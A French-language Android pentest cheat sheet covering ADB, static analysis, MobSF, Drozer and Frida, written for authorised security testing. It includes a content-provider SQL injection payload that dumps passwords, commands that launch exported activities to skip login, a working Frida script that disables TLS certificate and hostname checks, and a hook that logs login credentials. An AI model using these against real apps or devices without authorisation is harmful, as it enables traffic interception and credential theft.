---
title: "Android Pentest — ADB, Drozer, MobSF, Frida"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [android, adb, drozer, mobsf, frida, ssl-pinning, apk, mobile, pentest]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Environnement

```bash
# Prérequis
# - Android Studio (émulateur) ou device physique avec débogage USB activé
# - ADB installé
# - Java 11+

# Vérifier la connexion ADB
adb devices
# List of devices attached
# emulator-5554  device   → OK

# Se connecter via TCP/IP (device sur WiFi)
adb tcpip 5555
adb connect {{DEVICE_IP}}:5555
```

---

## ADB — Commandes essentielles d'audit

```bash
# Informations sur le device
adb shell getprop ro.product.model
adb shell getprop ro.build.version.release    # version Android
adb shell getprop ro.build.version.sdk        # API level

# Lister les applications installées
adb shell pm list packages                    # toutes
adb shell pm list packages -3                 # tiers uniquement
adb shell pm list packages | grep {{APP_NAME}}

# Chemin de l'APK d'une application
adb shell pm path {{PACKAGE_NAME}}
# → package:/data/app/{{PACKAGE_NAME}}.apk

# Extraire l'APK
adb pull /data/app/{{PACKAGE_NAME}}/base.apk ./{{APP_NAME}}.apk

# Installer un APK
adb install {{APK_FILE}}
adb install -g {{APK_FILE}}    # accorde toutes les permissions auto

# Shell sur le device
adb shell
adb shell su   # root si rooté

# Logcat — logs en temps réel
adb logcat
adb logcat -s "{{TAG}}"          # filtrer par tag
adb logcat | grep -i "password\|token\|secret\|key"

# Copier des fichiers
adb pull /sdcard/Download/{{FILE}} .
adb push {{LOCAL_FILE}} /sdcard/
```

---

## Analyse statique manuelle

```bash
# Décompiler l'APK avec apktool
apktool d {{APP_NAME}}.apk -o decompiled/

# Lire le AndroidManifest.xml décompilé
cat decompiled/AndroidManifest.xml

# Chercher des secrets codés en dur
grep -rE "api_key|api_secret|password|token|secret|bearer|aws_" decompiled/

# Chercher des URLs et endpoints
grep -rE "https?://[a-zA-Z0-9./_-]+" decompiled/ | grep -v "schema\|android"

# Chercher les activités exportées dans le manifest
grep -A2 "exported=\"true\"" decompiled/AndroidManifest.xml

# Convertir le bytecode DEX → Java avec JADX
jadx {{APP_NAME}}.apk -d jadx_output/
# Interface graphique
jadx-gui {{APP_NAME}}.apk
```

---

## MobSF — Analyse complète (statique + dynamique)

```bash
# Lancer MobSF via Docker
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

# Accéder à l'interface : http://localhost:8000

# Upload de l'APK → analyse automatique :
#  - Permissions déclarées
#  - Composants exportés (activités, services, receivers, providers)
#  - Secrets dans le code
#  - Vulnérabilités connues (CVE)
#  - Configuration SSL
#  - Score de sécurité sur 100

# API MobSF pour automation
curl -F "file=@{{APP_NAME}}.apk" http://localhost:8000/api/v1/upload \
  -H "Authorization: {{MOBSF_API_KEY}}"
```

---

## Drozer — Audit des composants Android

```bash
# Installation
pip3 install drozer

# Sur le device/émulateur : installer l'agent Drozer
adb install drozer-agent.apk

# Forwarder le port ADB
adb forward tcp:31415 tcp:31415

# Lancer l'agent sur le device (via UI) puis se connecter
drozer console connect

# Lister les packages
dz> run app.package.list -f {{APP_NAME}}
dz> run app.package.info -a {{PACKAGE_NAME}}
```

### Activités exportées (Broken Activity Export)

```bash
# Lister les activités accessibles sans permission
dz> run app.activity.info -a {{PACKAGE_NAME}}

# Lancer une activité exportée directement (bypass écran de login)
dz> run app.activity.start --component {{PACKAGE_NAME}} {{PACKAGE_NAME}}.{{ACTIVITY_NAME}}

# Via ADB
adb shell am start -n "{{PACKAGE_NAME}}/{{PACKAGE_NAME}}.{{ACTIVITY_NAME}}"
adb shell am start -n "{{PACKAGE_NAME}}/{{PACKAGE_NAME}}.AdminActivity"
```

### Content Providers — accès aux données

```bash
# Lister les content providers
dz> run app.provider.info -a {{PACKAGE_NAME}}

# Requêter un provider (lecture de données)
dz> run app.provider.query content://{{PACKAGE_NAME}}.provider/users
dz> run app.provider.query content://{{PACKAGE_NAME}}.provider/users \
  --selection "1=1" --projection "username,password"

# Injection SQL dans un content provider
dz> run app.provider.query content://{{PACKAGE_NAME}}.provider/users \
  --selection "1=1) UNION SELECT username,password,null FROM users--"

# Scan automatique des vulnérabilités providers
dz> run scanner.provider.injection -a {{PACKAGE_NAME}}
dz> run scanner.provider.traversal -a {{PACKAGE_NAME}}
```

### Services et Broadcast Receivers

```bash
# Services exportés
dz> run app.service.info -a {{PACKAGE_NAME}}
dz> run app.service.start --component {{PACKAGE_NAME}} {{PACKAGE_NAME}}.{{SERVICE_NAME}}

# Broadcast receivers
dz> run app.broadcast.info -a {{PACKAGE_NAME}}
# Envoyer un intent malveillant
dz> run app.broadcast.send --component {{PACKAGE_NAME}} {{PACKAGE_NAME}}.{{RECEIVER}} \
  --extra string "action" "admin"
```

---

## Frida — Hooking dynamique & SSL Pinning Bypass

```bash
# Installer Frida
pip3 install frida-tools

# Démarrer le serveur Frida sur le device
adb push frida-server-{{VERSION}}-android-x86_64 /data/local/tmp/frida-server
adb shell chmod +x /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &

# Lister les applications en cours
frida-ps -U   # -U = USB device
```

### Bypass SSL Pinning

```bash
# Script universel SSL Pinning bypass
# Utiliser le script ssl-pinning-bypass de commonsguy ou 0xdea
frida -U -l ssl_bypass.js -f {{PACKAGE_NAME}} --no-pause

# Bypass avec objection (wrapper Frida)
pip3 install objection
objection -g {{PACKAGE_NAME}} explore
# Dans la console objection :
android sslpinning disable
```

```javascript
// ssl_bypass.js — bypass TrustManager custom
Java.perform(function() {
    // Bypass TrustManager (accepte tous les certificats)
    var TrustManager = Java.registerClass({
        name: 'com.custom.TrustManager',
        implements: [Java.use('javax.net.ssl.X509TrustManager')],
        methods: {
            checkClientTrusted: function(chain, authType) {},
            checkServerTrusted: function(chain, authType) {},
            getAcceptedIssuers: function() { return []; }
        }
    });

    var SSLContext = Java.use('javax.net.ssl.SSLContext');
    SSLContext.init.overload(
        '[Ljavax.net.ssl.KeyManager;',
        '[Ljavax.net.ssl.TrustManager;',
        'java.security.SecureRandom'
    ).implementation = function(km, tm, sr) {
        this.init(km, [TrustManager.$new()], sr);
    };

    // Bypass HostnameVerifier
    var HostnameVerifier = Java.use('javax.net.ssl.HttpsURLConnection');
    HostnameVerifier.setDefaultHostnameVerifier.implementation = function(verifier) {
        this.setDefaultHostnameVerifier(Java.registerClass({
            name: 'com.bypass.HV',
            implements: [Java.use('javax.net.ssl.HostnameVerifier')],
            methods: { verify: function(host, session) { return true; } }
        }).$new());
    };

    console.log('[+] SSL Pinning bypassé');
});
```

### Hooking de méthodes

```javascript
// Hook une méthode pour lire ses arguments et valeur de retour
Java.perform(function() {
    var AuthManager = Java.use('{{PACKAGE_NAME}}.AuthManager');

    AuthManager.login.overload('java.lang.String', 'java.lang.String')
    .implementation = function(username, password) {
        console.log('[HOOK] login(' + username + ', ' + password + ')');
        var result = this.login(username, password);
        console.log('[HOOK] return: ' + result);
        return result;
    };
});
```

---

## Analyse du stockage local

```bash
# Fichiers de l'application sur le device (root requis ou debug mode)
adb shell run-as {{PACKAGE_NAME}} ls /data/data/{{PACKAGE_NAME}}/

# Bases de données SQLite
adb shell run-as {{PACKAGE_NAME}} ls /data/data/{{PACKAGE_NAME}}/databases/
adb pull /data/data/{{PACKAGE_NAME}}/databases/{{DB_NAME}}.db .
sqlite3 {{DB_NAME}}.db ".dump" | grep -i "password\|token\|user"

# SharedPreferences (XML)
adb shell run-as {{PACKAGE_NAME}} cat /data/data/{{PACKAGE_NAME}}/shared_prefs/{{PREFS_NAME}}.xml

# Fichiers dans le stockage externe
adb shell ls /sdcard/Android/data/{{PACKAGE_NAME}}/
```

<Tip>
Objection simplifie considérablement le pentest Android interactif : une commande `android sslpinning disable` bypass la majorité des implémentations de SSL pinning, et `android keystore list` extrait les clés du KeyStore. Utiliser Objection pour l'exploration interactive, Frida directement pour les scripts personnalisés.
</Tip>
